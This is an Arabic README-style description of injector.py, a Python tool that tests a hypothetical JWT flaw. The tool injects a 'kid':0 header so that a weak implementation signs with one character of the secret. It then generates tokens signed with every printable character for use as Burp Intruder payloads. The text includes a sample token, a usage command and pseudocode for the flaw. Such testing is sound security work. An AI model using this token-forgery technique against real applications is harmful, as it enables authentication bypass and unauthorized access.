
نص برمجي بسيط بلغة بايثون للتحقق من ثغرة JWT افتراضية.
نص برمجي بسيط بلغة بايثون للتحقق من ثغرة JWT افتراضية.
لنفترض وجود تطبيق يستخدم رموز JWT الموقعة بخوارزمية HS256. مثال على رمز مميز يبدو كالتالي:
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiaWF0IjoxNTE2MjM5MDIyfQ.zbgd5BNF1cqQ_prCEqIvBTjSxMS8bDLnJAE_wE-0Cxg
يمكن فك تشفير الرمز أعلاه إلى البيانات التالية:
{
"alg": "HS256",
"typ": "JWT"
}
{
"sub": "1234567890",
"name": "John Doe",
"iat": 1516239022
}
لحساب التوقيع، يتم استخدام السر التالي:
supersecret
يتم استخدام الكود الزائف التالي لحساب التوقيع:
$alg = "sha256";
$data = "...";
$key = "supersecret";
hmac($alg, $data, $key);
ولكن ماذا لو تم حقن حقل "kid":0 غير متوقع في الرأس؟
{
"alg": "HS256",
"typ": "JWT",
"kid": 0
}
{
"sub": "1234567890",
"name": "John Doe",
"iat": 1516239022
}
حقل kid هو طريقة قياسية لاختيار مفتاح. افتراضي هو أنه إذا لم يكن حقل kid متوقعًا، فقد يكون هناك تنفيذ ضعيف سيعامل قيمة السلسلة $key كمصفوفة:
hmac($alg, $data, $key[kid]);
ونتيجة لذلك، سيتم استخدام قيمة "s" ($key[0]) كسر HMAC.
يأخذ سكريبت injector.py رمز JWT الأصلي، ويحقن حقل "kid":0 في الرأس ويولد رموزًا موقعة بأسرار من حرف واحد (رموز ASCII: 32 - 126 [{space}, !, ", #, ..., x, y, z, {, |, }, ~]):
python3 injector.py eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiaWF0IjoxNTE2MjM5MDIyfQ.zbgd5BNF1cqQ_prCEqIvBTjSxMS8bDLnJAE_wE-0Cxg
نتيجة لذلك، يتم إنشاء ملفين - tokens.txt و tokens_meta.txt. يحتوي tokens.txt على الرموز المولدة ويمكن استخدامه كقائمة من الحمولات لـ Burp Intruder. إذا كان أي رمز صالحًا (مما يعني أن التطبيق ضعيف)، يمكن استخدام ملف tokens_meta.txt للتحقق من الخوارزمية والسر المستخدمين لتوليد الرمز المعطى. يحتوي ملف tokens_meta.txt على البيانات التالية:
token1:algorithm:secret
...
token{n}:algorithm:secret
يرجى الاطلاع على سجل التغييرات